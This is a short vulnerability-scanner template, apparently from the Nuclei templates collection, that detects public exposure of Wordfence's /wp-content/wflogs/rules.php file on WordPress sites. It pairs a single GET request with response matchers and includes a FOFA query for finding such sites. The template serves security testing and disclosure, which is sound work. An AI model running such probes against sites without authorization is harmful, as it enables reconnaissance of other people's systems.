wordfence-rules-disclosure: WordPress Wordfence - Rules File Disclosure

2026-01-08 Wordfence PoC Public

Description

The Wordfence Security plugin for WordPress stores configuration files in the /wp-content/wflogs/ directory. These files may be accessible without authentication and can expose sensitive configuration data, firewall rules, attack logs, and internal paths.

PoC

id: wordfence-rules-disclosure

info:
  name: WordPress Wordfence - Rules File Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    The Wordfence Security plugin for WordPress stores configuration files in the /wp-content/wflogs/ directory. These files may be accessible without authentication and can expose sensitive configuration data, firewall rules, attack logs, and internal paths.
  reference:
    - https://wordpress.org/support/topic/files-created-in-wflogs-before-plugin-activated/
    - https://forum.ait-pro.com/forums/topic/wordfence-firewall-wp-contentwflogsconfig-php-file-quarantined/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-200
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/plugins/wordfence"
  tags: wordpress,wp-plugin,wordfence,rules,disclosure,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/wflogs/rules.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "wfWAFrule"
          - "$this"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ef753bf30fc170ad0b50fcd0c4cfb940d715dc48f60f25aa04018de386d9901502210096a950b77bd0afeff6cab4d2c30dd50eae1fc1e3106912d603c6437bbe86f3b0:922c64590222798bb761d5b6d8e72950

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Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/wordpress/wordfence-rules-disclosure.yaml

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